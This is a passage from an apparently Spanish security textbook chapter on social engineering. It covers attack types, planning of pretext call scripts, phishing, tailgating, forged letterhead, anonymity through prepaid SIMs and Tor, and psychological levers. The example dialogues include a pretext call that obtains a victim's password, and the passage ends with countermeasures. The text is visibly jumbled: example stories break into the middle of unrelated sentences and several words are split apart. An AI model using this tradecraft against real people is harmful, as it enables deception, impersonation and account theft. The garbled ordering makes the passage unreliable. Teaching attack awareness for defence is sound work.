abrumadora mayoría). En efecto, las víctimas no siempre son las multinacionales y a veces es inútil tener múltiples interlocutores al teléfono: ¡basta con elegir al adecuado! De este modo, un ataque preparado minuciosamente se puede convertir en uno muy sencillo. La persona de contacto acepta hablar y las preguntas y las respuestas se turnan en el orden previsto. Es importante saber que incluso los ataques que en teoría son de los más viables a veces pueden convertirse en auténticos calvarios si no se han preparado previamente. En el caso de un escenario escrito minuciosamente, algunas ofensivas son un juego de niños: plantear preguntas, fingir una actitud o un sentimiento y escuchar las respuestas. c. El más frontal Los ataques por ingeniería social son tan accesibles que algunos pueden ser extremadamente sencillos. Y a veces son más que eso: en ocasiones basta con llamar directamente a una persona y pedirle la información para que nos la dé. En realidad, el atacante habrá previsto todo un algoritmo, un desarrollo de su ataque, una previsión de la evolución de las cosas. Pero una vez puesto en marcha su plan y el interlocutor se muestra muy cooperativo, el atacante, probando la astucia con la que ya había previsto esta situación, realiza la acción planeada para este caso: pedir la información directamente. Esto puede parecer demasiado fácil. Sin embargo, ¿cuántas veces hemos visto cómo los padres compran a sus hijos algún capricho cuando la mayor parte de las veces se lo niegan? Esto es debido a que el contexto y la atmósfera son favorables: ¡el haber escuchado recientemente una buena noticia, unas ganas súbitas de gustar o simplemente la ausencia de contrariedades bastan a veces para aceptar de buen grado las peticiones! En la ingeniería social, algunos ataques se desarrollan más fácil de lo esperado. El atacante debe preparar estas facilidades. En las previsiones, debe preparar una salida para el caso en que la víctima sospeche que es un ataque. Se puede, por ejemplo, fingir una broma o disimular haciendo que se estaba hablando con otra persona y excusarse después con su interlocutor. d. El más indirecto Sin embargo, no hay que hablar de un ataque "simple", sino de un ataque complejo, con la participación de varias entidades. Y, sobre todo, no hay que huir ante la adversidad. Cuando prepara su acción, el atacante va a prever sus ángulos de ataque, variando las presiones sobre la víctima. Ésta puede estar incluso fuera de la empresa. De hecho, a veces es más fácil sonsacar información del personal de la empresa de limpieza que de los propios empleados de la empresa víctima de nuestro ataque. Más aún si los empleados ya han sido sensibilizados sobre los riesgos de la ingeniería social y la empresa ha tomado cartas en el asunto. Por consiguiente, a veces es necesario realizar el ataque centrando el interés en un técnico del ISP con el propósito de recuperar algunos datos útiles y técnicos. No nos olvidemos que el social engineering es una técnica que conviene aplicar a la víctima adecuada. Recuperar un acceso a Internet e ir a la búsqueda de información puede parecer más costoso que pedirlo directamente a un empleado de la empresa víctima. Pero esta vía es más discreta, ya que el técnico no discutirá nunca con los ejecutivos de la empresa víctima. Y para la conexión desde Internet a la empresa, existen muchas formas para parecer anónimo. e. El más complejo Por supuesto, sería un error no mencionar los casos más complejos. Reservados a los atacantes más sofisticados, estos casos son de una dificultad muy alta. Requerirán el uso de buenas réplicas en la conversación, de una gran capacidad de improvisación y de mucha experiencia para tener éxito. Además, en estos ataques intervienen varios actores (varias personas, varias empresas...), se pueden dar varios escenarios y hay que recoger gran cantidad de información para preparar el ataque. Algunos ejemplos de ataques complejos utilizan la técnica del pivote-rebote. Este método requiere un acercamiento a una primera persona con el propósito de que ésta interactúe con otra persona, que será la que realizará la acción que deseamos o la que nos dará la información que necesitábamos. Difíciles de realizar, estas ofensivas necesitan a menudo una serie de circunstancias por las que hay que esperar a veces bastante tiempo. Para asegurarse de la cooperación de la segunda persona, el atacante se preocupará de manipular a varias personas de su entorno. Posiblemente, el desencadenante será una llamada del atacante a la víctima real que habrá sido entonces engañada. Estos ataques figuran entre los que más tiempo requieren para organizarlos ya que pueden necesitar a veces varios meses de investigación. Cabe decir que son a la vez los más raros y los más difíciles de desbaratar ya que el número de actores a los que se manipulará puede llegar a ser bastante grande, sobre todo si se trata de empleados de varias empresas. 6. La tecnología como herramienta básica Todo ataque de social engineering se compone de tres juegos de herramientas: el medio, los procesos técnicos y los resortes. El primero son los medios de comunicación, el vector que va a utilizar el atacante para llevar a cabo su ofensiva (o los vectores, en el caso de un ataque complejo). El atacante utilizará los procesos técnicos especialmente para garantizar su anonimato o para asegurar un desarrollo correcto. Los resortes psicológicos se detallarán en las páginas siguientes: se aplican a las víctimas humanas para convencerlas. a. Los medios utilizados La gran mayoría de los intentos de ataque se realizan por teléfono: la simplicidad y el casi anonimato que proporciona el teléfono son dos activos nada despreciables para el atacante. En efecto, se puede evitar mostrar el número del que se llama en muchos operadores de telefonía, lo que impide a la víctima reconocer el número. El único medio para saber qué número llamaba es poner una demanda en la justicia para que encontrar ese número. Técnicamente, es muy fácil de obtener ya que los operadores están obligados a registrar todos los números emisores y receptores de llamadas para cada línea. Sin embargo, se requiere un motivo real para exigírselo a la justicia y, por consiguiente, tener pruebas de que se ha cometido un ataque. Por tanto, es mejor para las víctimas evitar que se produzca el ataque. Hay otro factor de anonimato que, hoy en día, es más difícil de mantener debido a que la venta de móviles y tarjetas de prepago requiere la identificación del propietario. En otros países europeos, por ejemplo Francia, se puede comprar una tarjeta telefónica anónima en cualquier quiosco por poco dinero y durante diez días se puede usar sin declarar la identidad al operador, lo que nos deja las puertas abiertas para realizar tests y ataques. Finalmente, otra característica del teléfono es la simplicidad, debido a que una llamada se realiza rápidamente y el atacante no necesita estar físicamente con su víctima: sólo tiene que vigilar su tono y su voz. Sus gestos y las expresiones de su cara no podrán traicionarle. Pero el teléfono no es la única vía posible. Los correos electrónicosde phishing (significa suplantación de identidad en la jerga), cuya técnica consiste en hacerse pasar por un correo oficial (de un banco, de una revista en línea, de un operador) con el objetivo de engañar al receptor, son primos hermanos de la ingeniería social. En realidad, entran directamente en la categoría de medios de comunicación cuando se usan contra una única víctima, con contenido muy personalizado para maximizar las posibilidades de éxito del ataque. Antes del correo electrónico, estaba el correo postal. Y antes del teléfono, los facsímiles (normalmente se les suele llamar "fax"). El correo postal y el fax todavía se usan en la actualidad porque transmiten seriedad. En efecto, un correo escrito en papel con membrete se recibe de forma distinta que un correo electrónico, incluso si éste incluye una firma en su debida forma. El facsímil y el correo postal se benefician de una creencia que se basa en que sus envíos no son gratuitos, contrariamente a lo que sucede con el email, y por tanto los remitentes ya pasan una prueba de selección previa en sus campañas de envío. Esto sin contar toda la publicidad que ha explotado esta reacción desde hace años y, sobre todo, el presupuesto del atacante que puede beneficiarse del servicio postal por los pocos céntimos que le costará un sello. El teléfono, el correo postal, el fax y el mismo correo electrónico permiten realizar un ataque remoto, pero los asaltantes más valientes irán quizá más allá: irán a presentarse en los locales de su víctima, desbaratando los sistemas de seguridad quizá de una forma muy sencilla. Hay cantidad de ejemplos concretos en las películas, como por ejemplo en James Bond ("Diamonds are forever") donde el agente secreto menos secreto del mundo escapa con éxito de un control de acceso en la entrada de un edificio simplemente siguiendo a una persona que pasaba la puerta de seguridad. Se aprovecha de la distracción del guarda de seguridad que no se da cuenta de que uno de los dos no tenía tarjeta porque se deja engañar por la presencia de una cara conocida. Esta técnica tan corriente se realiza a menudo con un grupo de personas: yendo en medio de un grupo de personas, el atacante intenta hacerse pasar por un miembro del grupo a los ojos del guardia, mientras que también lo consigue con el propio grupo, gracias a un comportamiento parecido y tan natural como le es posible. La técnica que aprovecha este tipo de malentendidos se llama TailGating. Por supuesto existen otros medios de comunicación posibles: las herramientas de mensajería instantánea y las redes sociales, ¡así como los SMS o incluso los folletos en el parabrisas! A propósito de las redes sociales, es muy común encontrar mucha información: sobre las relaciones personales que vinculan a las personas, sobre los números de teléfono del trabajo, sobre los proyectos en curso, e incluso si estos datos son parciales, no son menos importantes. En efecto, veremos a continuación que la credibilidad es importante y que para lograrlo hay que tener información, aunque sólo sea para expresarse en la misma jerga que los colaboradores de la empresa. b. La investigación preliminar Para reunir toda la información necesaria para llevar a cabo su acción, el atacante deberá realizar una investigación adecuada antes de realizar las llamadas telefónicas: hará un verdadero trabajo de detective (de hecho, muchos detectives utilizan el social engineering) para obtener la información, sin dudar en buscar en la basura (para encontrar nombres), en entrevistar a la gente (para obtener información sobre la jerarquía) o en vigilar la empresa para saber los horarios de trabajo o a quién pertenece cada vehículo. En los primeros capítulos del libro, se ha explicado que las intrusiones son procesos cíclicos, en los que se adquiere información y se usa para avanzar un poco más. A este título, la ingeniería social puede ayudarse de descubrimientos anteriores obtenidos gracias a la explotación de debilidades diversas que permitan avanzar un poco más en el desarrollo del ataque. Todos los detalles son importantes. Al haber estudiado bien la empresa, el atacante puede usar el vocabulario interno para perderse entre la multitud y hacerse pasar por un miembro de la empresa, bajando el nivel de desconfianza de su interlocutor. c. El papel, el bolígrafo y el carisma Es una de las tecnologías más antiguas y, sin embargo, una de las más usadas: el trío "bolígrafo-mano-hoja" es un arma indispensable en los ataques de social engineering. En primer lugar, por su discreción: las pulsaciones en un teclado se escuchan con facilidad por teléfono. Además, el papel y el lápiz son el medio más rápido para tomar notas, hacer esquemas y escribir anotaciones. Este detalle es de vital importancia, ya que durante el ataque las cosas pueden pasar muy rápido. Hay que tomar nota de multitud de elementos (descritos a continuación) manteniendo el hilo de la conversación. Veremos cómo esta herramienta se usa antes, durante y después del ataque. Para empezar, el atacante debe preparar su asalto. El objetivo es prever un gran número de escenarios que pueden suceder. En efecto, la mayor parte de los ataques tienen lugar y giran en torno a preguntas y solicitudes. Con cada respuesta de la víctima, el escenario se divide en dos direcciones: se obtiene o no se obtiene la información deseada. Para los más conscientes, el camino se desarrollará en muchas ramificaciones, según la calidad de la respuesta o en función de cómo la víctima va respondiendo. De este modo, se inicia un plan con un comienzo (cuando se realiza la llamada telefónica), seguido de una serie de posibles continuaciones que se van ramificando (con las preguntas realizadas y las respuestas obtenidas...) que finalmente llega a su fin. Y para describir estas secuencias, lo más fácil es usar un esquema lógico (con las preguntas representadas por rombos o bifurcaciones, simbolizando los cambios de dirección). Cuanto más complejo es el escenario, más grande es su representación gráfica. Se puede llegar a ver planes divididos en varias páginas: según la respuesta a una determinada pregunta, el atacante seguirá la alternativa del escenario número 2 o la del escenario número 3. Como una película con una trama sin escribir, el ataque evolucionará en función de la reacción de sus personajes. Y como en una obra de teatro... o se sabe improvisar o se preparan todas las réplicas posibles. A veces son necesarias muchas horas para preparar un plan capaz de cubrir todos los casos, además de múltiples hojas de papel, a veces en formato A3 o incluso A2, con multitud de correcciones a medida que se va avanzando en el trabajo. Una vez se ha preparado, estudiado y planificado su asalto (el vocabulario es intencionadamente próximo al mundo de las operaciones especiales), es cuando el asaltante actúa. Aunque sea llamando por teléfono o escribiendo un email, es inevitable tomar notas: al teléfono, las víctimas obligan a veces a decir cosas que el atacante no tenía previstas y que serán, en la mayoría de los casos, mentiras. Sin embargo, la incoherencia puede muy rápidamente descubrir a un atacante: por lo tanto ha de tener registradas todas sus mentiras, para no contradecirse en el transcurso de la conversación. Además, durante esta interacción, aparecerán nuevos datos que podrán ser términos de la jerga de la empresa, nombres o relaciones. Pueden incluso ser la información que estábamos deseando recibir. ¡Tras el éxito del ataque, la emoción puede provocar la pérdida de la información a su nuevo dueño! Anotar antes, anotar durante... y anotar después. Un intento de social engineering nunca se detiene. Siempre es posible que la víctima, sea cual sea la razón y quizá incluso mucho tiempo después del ataque, termine por darse cuenta del ataque e inicie un proceso judicial. Algunos ataques se llevan a cabo con bastantes llamadas a diversas personas. Es por esta razón que, al finalizar cada llamada, es muy importante anotar sus sentimientos, así como los elementos que no habían sido detectados hasta el momento. Por ejemplo, un atacante deberá anotar la razón por la que él ha colgado antes de acabar la conversación o tomar nota de la duración de su llamada y de la sensación con la que le ha dejado su interlocutor: ¿Le gusta pasar tiempo al teléfono o no? ¿Está muy cargado de trabajo en este tramo de la jornada o no? Toda esta información permitirá al atacante (auditor de seguridad o verdadero criminal) mantener coherente su discurso y tener una imagen integrada de cara a su víctima. En el caso de persecución, el atacante podrá valerse de estas notas para falsificar algunos detalles o inducir la duda en la mente de la víctima, por ejemplo. d. Carisma y faroles Sin carisma, el ingeniero social no es nadie. Un buen ejercicio es ensayar intentando convencer a una persona para que compre (virtualmente) un objeto ridículamente extraño o inexistente, como un televisor sin pantalla, un cartucho de tinta blanca o un interruptor con una sola posición. Mezcla de psicología y marketing, también es un ejercicio muy apropiado en el mundo comercial, primo hermano de la ingeniería social, que se basa en la capacidad de una persona para convencer a otra para que haga o diga alguna cosa que no haría o diría en circunstancias normales. Permite a un aprendiz de ingeniero social intentar vender un objeto a una persona que no lo compraría jamás: encontrar argumentos, entender preguntas, eliminando lo malo del objeto que a nadie le gusta. Y finalizar la venta, que simboliza el éxito del ataque (la obtención de la información deseada o la cooperación de la víctima). Otro ejercicio, igual de atractivo: convencer a un amigo para que ponga en su casa un poste eléctrico debido a la meteorología o que ponga un trapo o una lona sobre una cabina telefónica por las mismas razones. Incluso convencerle de que su petición de baja en las compañías de telefonía, eléctrica e Internet se ha cursado correctamente por el servicio -ficticio- de bajas centralizado. Un buen ingeniero social es capaz de disimular su voz con sus amigos más cercanos o con su familia. Es sobradamente capaz de provocar una sorpresa tan fuerte que la víctima no se podrá imaginar ni por un segundo de que se trata de una broma. Pero con la sorpresa no basta: el ingeniero social debe tener una réplica. Es necesario que, si no la ha escrito, por lo menos haya pensado en la situación y las diferentes direcciones en las que puede derivar, como hemos visto anteriormente. Sin embargo, dado que no podemos prever todas las posibilidades (el ser humano es demasiado complejo para ello), también hay que ser capaz de recuperarse y retomar el control de una conversación que se está escapando de su trayectoria inicial. Hay muchos modos de lograr este fin. Por ejemplo, es posible "matar el tiempo" dejando a la víctima disentir algunos segundos en algún tema secundario y esperar pacientemente que permita, por sí misma, un retorno sin problemas al tema original. La solución diametralmente opuesta se llama "de electrochoque": su principio se basa en rechazar a la víctima, esperando provocar un estímulo de acción-reacción que, si funciona, intercambie los roles, dejando a la víctima todavía más cooperativa. Por ejemplo, soltándole un pequeño corte en la petición ("esto sólo lo hago cuando me lo pides tú") o alegando tener muchas solicitudes similares ("hay otras 10 personas que me colapsan la puerta esperando lo mismo, ¡no me voy a pasar horas contigo!"). En el mejor de los casos la víctima, sintiendo que se le escapa la situación de las manos, se forzará a mantener la conversación y dará a su atacante más posibilidades de finalizar su misión. Nunca se dirá lo suficiente: la ingeniería social es un arte que se usa muy a menudo en la vida cotidiana. Simular una emoción (alegría, miedo, pena), interpretar la emoción de su interlocutor (estrés, desinterés) y actuar en consecuencia, con los gestos, la palabra y la entonación. La ingeniería social es, en distintos niveles, una historia de póquer. e. Medios externos puestos en práctica Para literalmente apropiarse de los procedimientos de seguridad y conseguir su propósito, los atacantes pueden usar grandes medios, incluso costosos. Si el objetivo del ataque es apropiarse de una cantidad sustancial de dinero, no es más que una pequeña inversión el imprimir papel oficial trucado (tomando por modelo una carta encontrada en el cubo de basura de la empresa) o el crear falsos documentos que -aunque no sean perfectos- crearán la ilusión de que lo son ya que en general, a no ser que se pertenezca a una autoridad judicial, no se sabe cómo verificar la autenticidad ni de documentos identificativos ni del resto de documentos oficiales. Los atacantes no dudan en gastar miles de euros si se trata de ganar diez mil. En el extranjero, es posible abrir una empresa real por sólo unos cientos de euros; alquilar un servidor dedicado por algunas decenas de euros en un país sin ningún acuerdo relativo a la justicia; obtener un teléfono móvil con la posibilidad de comunicarse desde o hacia el extranjero. Se puede tener "amigos" en alguna red social que reciban un fax para el atacante y que se lo reenvíen por email. El social engineering funciona tanto más cuando no se nos informa ni de la facilidad de algunas cosas ni de la utilidad de alguna información. El sentimiento de incredulidad, que nos hace quizá pensar que algunas situaciones solamente se producen en el cine, nos coloca en una situación de falsa seguridad: "Es demasiado fuerte para ser verdad". Situados en esta comodidad, rechazando admitir que los eventos impensables pueden acaecer en una vida normal, aceptamos realizar algunas acciones ignorando deliberadamente las consecuencias. Aunque si descubriéramos hasta que punto pueden ser de sencillos los ataques o cómo la información de apariencia más insignificante puede tener su utilidad, seríamos más desconfiados simplemente porque sabríamos que estos ataques existen y pueden llevarse a cabo contra nosotros (o gracias a nosotros). f. Anonimato El anonimato es una herramienta también indispensable de la ingeniería social. Recordemos una vez más que un ataque con éxito es a la vez un ataque que aporta resultados y que no ha sido detectado. En el mejor de los casos se puede considerar que no permitiendo a nadie llegar hasta el asaltante, el ataque ha sido un éxito. En este sentido, el anonimato es la característica más deseada. Por supuesto, no es cuestión de describir aquí todas las claves de un anonimato perfecto, en Internet o en la vida. En primer lugar porque no existe ningún anonimato perfecto (SIEMPRE es posible acabar conociendo la identidad del asaltante). En segundo lugar, porque gran número de estos métodos son ilegales. Pero se podría citar, entre las prácticas legales, el uso de la red Tor (The Onion Router), la posibilidad que ofrecen muchas empresas de enviar un fax (por una suma relativamente módica de dinero) o la oferta de los operadores de telefonía móvil que dan acceso a tarjetas SIM y a cuentas bloqueadas sin verificar la identidad por cantidades de dinero relativamente reducidas. Sea cual sea el método elegido, el anonimato es importante y -como veremos más adelante- una de las protecciones más eficaces: intentar comprobar la identidad de su interlocutor es para la víctima un modo de verificación particularmente eficaz. 7. La psicología como punta de lanza a. Aclaraciones El ser humano actúa y decide en función de muchos parámetros, entre los cuales se encuentran su experiencia personal, el contexto de la situación, lo que hay en juego y su personalidad. Es cierto que hay muchos otros criterios que motivan las decisiones de los seres humanos, pero aquí mostramos los que podemos manipular o utilizar directamente para cambiar las dudas a nuestro favor. La experiencia personal de un individuo no es algo fácil de manipular. Ciertamente, es imposible cambiarla, pero es fácil de usar: si durante nuestra investigación averiguamos que el interlocutor se ha divorciado recientemente o esta persona se encuentra con problemas de dinero, nos será fácil influenciar en su comportamiento jugando con los sentimientos que estas situaciones provocan. A nuestra elección, podemos hacernos pasar por otro recientemente divorciado, para parecernos a nuestro interlocutor y crear un contexto de amistad, o un(a) joven esposo(a) para crear una relación totalmente distinta con nuestra víctima, con la que nos echará una mano dándonos consejos. Para influir en las decisiones y, por consiguiente, en los actos de nuestras víctimas, usaremos los resortes psicológicos. La lista que se muestra a continuación no es exhaustiva, hay decenas de situaciones que contradirán los ejemplos expuestos y otras decenas más en las que ninguno de estos resortes nos será útil. Sin embargo, son los más usados ya que su simplicidad de uso los convierte en herramientas cuya rentabilidad está ampliamente demostrada. Para cada uno de los resortes que estudiaremos, expondremos para empezar un ejemplo concreto, para tener una visión pragmática y reflejada de una posible situación. Las historias utilizadas han sido inventadas pero todas tienen su origen en la vida real. b. Ausencia de desconfianza El primero de los resortes psicológicos que estudiaremos es la ausencia de desconfianza. La empresa Innovaciones Guardado es hoy en día una gran sociedad. Recibe a multitud de personas y, para acogerlas mejor, se ha preparado una pequeña sala de espera cerca de la centralita con canapés y prensa especializada en Todo está en el modo de ser. En este caso, un hombre joven actúa con un compor tamient o que no da lugar a la desconf ianza: la cara descubierta, la sonrisa e incluso los saludos lo convierten en un ser simpático al que le propondríamos tomar un café si no fuera porque parece que tiene que cumplir su tarea rápidamente y nosotros le haríamos perder el tiempo. Su triunfo reside en la audacia de la operación: venir a robar el ordenador en los locales de las dependencias de la empresa a plena luz del día es exponerse al riesgo de ser parado por un empleado y las posibilidades de huida son mínimas. Pondría la mano en el fuego, este asaltante se había informado previamente y había tomado sus reseñas para poder dar nombres si se le pedían cuentas: "Octavio, del servicio técnico, me ha pedido que desmontara el equipo". El principio es el mismo cuando toda la protección se basa en el control de acceso en la entrada del edificio: si el individuo está en el interior del edificio, entonces ha pasado el control de seguridad de la entrada. Por consiguiente, tiene derecho a estar aquí y no vale la pena preguntarle, incluso si su cara nos es desconocida y no lleva tarjeta. El triunfo de esta persona es que se comporta como si siempre hubiera trabajado aquí. La gente no desconfía en este caso. Obviamente, toda esta historia no habría sido posible en una empresa pequeña, en la que todos los trabajadores se conocen. Sólo queda esperar por parte de la empresa que este ordenador no albergue información importante, ni contraseñas registradas, ni que tuviera acceso a los servicios internos de la empresa (compartición de archivos) o servicios de Internet que podrían haber usado los clientes como por ejemplo los casos en que, durante su espera, quizá habrían accedido a su correo electrónico. Tener éxito en no suscitar desconfianza al resto de personas no es a menudo suficiente en social engineering, excepto en algunos casos poco frecuentes. En cambio, es una habilidad necesaria debido a que una persona que desconfía empieza a anotar (incluso mentalmente) información que puede comprometer el anonimato del atacante o incluso avisar a la empresa de que se está produciendo un ataque. Recordemos que uno de los economía, un ordenador con conexión a Internet y la cafetera siempre está llena. Las citas son frecuentes y a menudo duran más de lo previsto. Es costumbre que las personas esperen algunos minutos. Un día, la recepcionista Almudena descubre que el ordenador de la sala de espera ya no está. Cuando contacta con el servicio técnico, éste declara que no ha cogido el ordenador y que ningún otro servicio de la empresa lo ha necesitado sea por la razón que sea. La única pista vendrá de uno de los técnicos, que ha presenciado en primera persona cómo se llevaban el ordenador a través de los cristales que encierran la sala de espera. Ha venido un hombre joven y ha saludado con un movimiento de cabeza a todas las personas presentes a su alrededor, incluso a Juan Carlos, el técnico testigo que estaba a pocos metros del equipo. Este hombre joven aparentemente cansado ha apagado el ordenador, la pantalla plana de quince pulgadas y ha saludado de nuevo a los empleados y clientes que lo rodeaban antes de salir con su carga pesada. Desde entonces, el nuevo ordenador está anclado sólidamente gracias a un candado cuya llave está sólo en manos del servicio técnico. criterios para considerar que un ataque ha tenido éxito es que no haya sido detectado hasta el cabo de un cierto tiempo. c. Ignorancia Hemos abordado anteriormente la intrusión física, que puede parecer inverosímil hasta que se ha probado: basta con intentar entrar en un acto privado sin invitación, hacerse pasar por periodista para encontrarse con una estrella o penetrar en una empresa sin tener tarjeta de acceso. La idea es comportarse del mismo modo que el resto de individuos que tienen autorización para entrar. Pero hay casos todavía más inverosímiles: la petición directa. Las estratagemas más elaboradas son a veces completamente inútiles, ya que el simple hecho que pedir directamente lo que queremos puede a veces ser suficiente. Central ita.- "Empre sa AMR Electró nica, buenos días. ¿En que puedo ayudarle?" Marcos.- "Buenos días, le llamo porque tengo un problema con mi Teck800. Querría ponerme en contacto con un técnico que me pudiera ayudar." Centralita.- "Por supuesto, le pasaré con el servicio de postventa." Marcos.- "No, mire, se trata de un problema de compatibilidad con otros equipos que tenemos aquí, el producto funciona bien, pero necesito hablar con un experto para comprobar que los dos productos pueden coexistir en una misma instalación." Centralita.- "De acuerdo, no hay problema. Le paso con Alberto, nuestro responsable de desarrollo, no cuelgue el teléfono." Marcos.- "Muchas gracias." Hasta la inform ación más banal puede ser peligrosa. Por supuesto, hay que evitar caer en la paranoia de no aceptar incluso pasar llamadas al servicio de postventa. Pero en nuestra historia, el telefonista ignora que poner en contacto directo uno de los expertos de la empresa es peligroso porque puede llevar a situaciones embarazosas para la empresa. Lo veremos en otro ejemplo, cómo mucha información en la empresa puede ser utilizada en su propia Marcos es un cazatalentos de un gabinete de selección de personal. A finales de este año, las cifras de la empresa han sido buenas pero su resultado personal es un poco menor y su prima de fin de año puede que disminuya un poco. Decide retomar un caso que ni él ni ninguno de sus colegas han querido tratar desde hace semanas. Es un caso con una dificultad particular: el perfil buscado sólo lo cumplen muy pocas personas, ya que las competencias son muy precisas. En el mejor de los casos, sería necesario lograr robar un ingeniero de otra empresa, pero tiene que saber cómo llegar hasta él. Marcos y Alberto tendrán una corta conversación donde Marcos le comunica claramente sus intenciones. Aun siendo fiel a su empresa (ha trabajado en ella desde que acabó sus estudios), Alberto le da a Marcos su número de teléfono personal para que puedan contactar fuera del horario de trabajo y, de este modo, puedan debatir las distintas ofertas laborales. contra. Por consiguiente, es necesario que todos los empleados sepan qué información pueden dar y cuál no. d. Credulidad El ejemplo relativo a la ausencia de desconfianza (el robo del ordenador a plena luz del día) tiene la ventaja de no tener la necesidad de dialogar. Una persona que es capaz de manejar el estrés y lo que exterioriza es la persona adecuada para la realización de un ataque tan inverosímil como éste. Pero a veces es necesario tener un diálogo con la gente, sobre todo si se desea extraer información. La idea principal en la mayoría de los ataques, aunque poco ética, es tan eficaz como compleja y se basa en un solo punto: la mentira. Hay que hacer creer con éxito. Felipe.- "Sí, ¿diga?" Atacant e.- "Bueno s días, Felipe. Soy Sofía, de la web SeamosAmigos. Le llamo para comunicarle una excelente noticia. Espero no molestarle ahora mismo..." Felipe.- "No, no, ¡adelante!" Atacante.- "Perfecto, perfecto. Nos hemos dado cuenta que su ficha personal en nuestro sitio web es particularmente popular y queríamos felicitarle por este resultado. ¡Visité su ficha y me encantaría tener a alguien como usted entre mis contactos!" Felipe.- "Estoy un poco abrumado, pero ya sabes, si es necesario me puedes llamar." Atacante.- "¡Gracias! Muy amable. De hecho, mi llamada de hoy es para que usted se pueda aprovechar de las funcionalidades avanzadas de Seamos-Amigos, que estarán disponibles muy pronto. Hemos creado un sistema en el que los participantes pueden responder a preguntas. Además, éstas se guardarán para que, próximamente, permita a los usuarios ganar un poco de dinero legalmente por la prestación de asesoramiento, tal y como hace usted en su página. Además, limitaríamos la cantidad para que no tenga obligación de declararla como fuente de ingresos. ¿Le parece una idea interesante?" Felipe.- "Creo que hasta es una excelente idea, pero no quiero que me paguen por mis consejos, la verdad." Atacante.- "Sí, lo entiendo, se me olvidó explicarle que las ganancias están financiadas por la publicidad. Como usted sabrá, esto es algo muy común actualmente en Internet. Las personas que le preguntan lo seguirán haciendo gratuitamente." Felipe.- "¡En este caso, es una solución excelente, al 100%!" Felipe es un mecánico muy conocido en su barrio, sus manos hacen maravillas en todos los vehículos que repara. Además, en la red social SeamosAmigos, tiene su propio club de fans, donde muchas personas le piden consejos y le proponen revisar y reparar vehículos que él no traerá al taller para el que trabaja. Como no es informático, Felipe no lee sus correos electrónicos hasta llegar la noche. Para poder responder a peticiones urgentes, ha dejado su número de teléfono en su ficha personal de la web SeamosAmigos. Un día, recibe la siguiente llamada telefónica. Atacante.- "Me alegro de veras. Le propongo ser nuestro usuario de pruebas. Para usted esto no cambia nada, excepto que al cabo de cierto periodo de tiempo le empezaremos a enviar los cheques. ¡Creo que muy rápidamente, si continúa disfrutando de tan buena reputación! Lo único que me faltaría es tener la confirmación de su usuario y su contraseña, para asegurarnos de que es usted realmente el usuario y de que da su consentimiento a estos cambios." La esperan za de ganar dinero fácilme nte hace que mucha gente pierda la razón, creyendo poder disfrutar de un estatus particular y pasando por alto todas las precauciones para ir más rápido. En esta historia, Felipe se deja traicionar por la alegría de ganar dinero y por la amabilidad de una persona que le ha llamado: una mujer, cosa que no ha sido por casualidad. La credulidad le abre al atacante un abanico de posibilidades, especialmente hacerse pasar por alguna otra persona. Las mentiras, por increíbles que puedan parecer, son a veces muy fácilmente creíbles por la víctima. En nuestro ejemplo, su ingenuidad hace olvidar a Felipe que la persona que le llama tal vez no es una responsable del sitio SeamosAmigos. Se ha creído todo lo que le ha dicho sin comprobarlo y tendrá que hacer frente a una situación bastante desagradable que tardará tiempo en restablecer. e. Confianza Solución de protección 1. Hacia una clasificación funcional Ahora que hemos visto cómo actúan los atacantes para esquivar los sistemas de protección, es el momento de proponer una mejora en estos sistemas. Conviene recordar Felipe, contento por la idea de ganar un poco de dinero, le da sus credenciales a la señorita que le ha llamado anunciándole estas novedades. Su interlocutora, en realidad, se aprovecha de sus credenciales para modificar la página personal de Felipe, cambiar la contraseña y poner la dirección de un taller para recibir a todas las personas que desean preguntar. Felipe intenta en vano restablecer la situación al regresar del trabajo, por la tarde. Llama a los responsables de SeamosAmigos, que le indican que nunca habían pensado en implantar tal sistema y que no pueden hacer absolutamente nada ya que Felipe no puede demostrar que él era en realidad el creador original de la página. Francisco y Sandra son estudiantes de matemáticas. Amigos desde la infancia, se divierten desde siempre retándose, para divertirse o para llevar al otro a sobrepasar sus límites. Francisco reta a Sandra a que descubra tantos detalles como pueda de una empresa elegida al azar. El ganador será quien obtenga más datos de los dos y, como son amigos, se ponen de acuerdo para juzgar la calidad de la información recopilada. Francisco está convencido de que ganará: Sandra no sa que todas las medidas de protección que se presentarán conllevan un coste financiero o temporal que será necesario conocer antes de su implantación: no hay que hacer que el sistema de seguridad de información sea más costoso que el propio sistema. Una de las contramedidas consiste en realizar una matriz de sensibilización que regulará los accesos a la información. Para empezar, hay que clasificar la información en categorías: información financiera, información técnica, información jurídica, información pública. A continuación, hay que clasificar a las personas en grupos, para indicar qué grupos tienen acceso a una determinada categoría de información. Y finalmente, clasificar la información por vía de transmisión: cierta información se reserva para un uso escrito, otra se autoriza para enviarla por correo y alguna por teléfono. Por último, esta matriz debe estar disponible para todos los empleados de la empresa. De este modo, podrán consultarla en caso de duda. Esta solución que puede parecer simple es, sin embargo, efectiva y muy funcional en muchas entidades: así es cómo el ejército clasifica sus documentos, desde el término "Restringido" al término "Máximo Secreto", pasando por "Confidencial" y, a continuación, por el famoso "Secreto". Los grupos de personas se representan por los permisos que tiene el personal para consultar documentos clasificados o no. Para ser funcional, una clasificación debe ser estricta y coherente: definir cosas como "todos los documentos están prohibidos al público" corre el riesgo de tener excepciones. Al principio son pequeñas y tolerables, pero después cada vez más y más grandes. Por lo tanto, hay que filtrar todos los documentos para darles un grado de clasificación y, a continuación, comprobar el acceso muy seriamente. Por ejemplo, de algunos documentos clasificados de la armada americana sólo se imprime un solo ejemplar, sin posibilidad de hacer aunque sea una sola copia. De este modo, son difíciles las fugas de información. Finalmente, hay que familiarizar a todos los colaboradores con esta práctica. Se ha visto en las páginas anteriores: cada empleado que no sabe los procedimientos puede representar un peligro para la seguridad de la información. 2. Detección al alcance de todos Es importante que los empleados se hagan preguntas para poder reconocer los ataques. Por ejemplo, preguntar "¿para qué? ¿para hacer qué?" : ¿para qué quiere está información?, ¿qué es lo que quiere hacer con esta información a parte de la justificación que me ha dado? En efecto, así es como uno llega a comprender que la contraseña que se nos ha solicitado puede servir para muchas más cosas que para actualizar una cuenta, como se quiere aparentar. Pero planteándonos todas estas dudas seguramente acabaremos descubriendo falsos positivos, llamadas que parecerán ataques y no lo serán. Para estar seguro, existe una medida interesante: pedir un nombre y un número de teléfono para recordarlos y juzgar la seriedad de la respuesta. Si el interlocutor alega que no tiene teléfono en su oficina o que es el jefe de cocina el que responderá porque se ha parado en un restaurante para trabajar, conviene desconfiar un poco. Tampoco hay que olvidar la posibilidad de que el atacante haya comprado uno de estos móviles con tarjeta SIM prepago que puede usar unos cuantos días sin identificarse. 3. Buenas prácticas En muchas 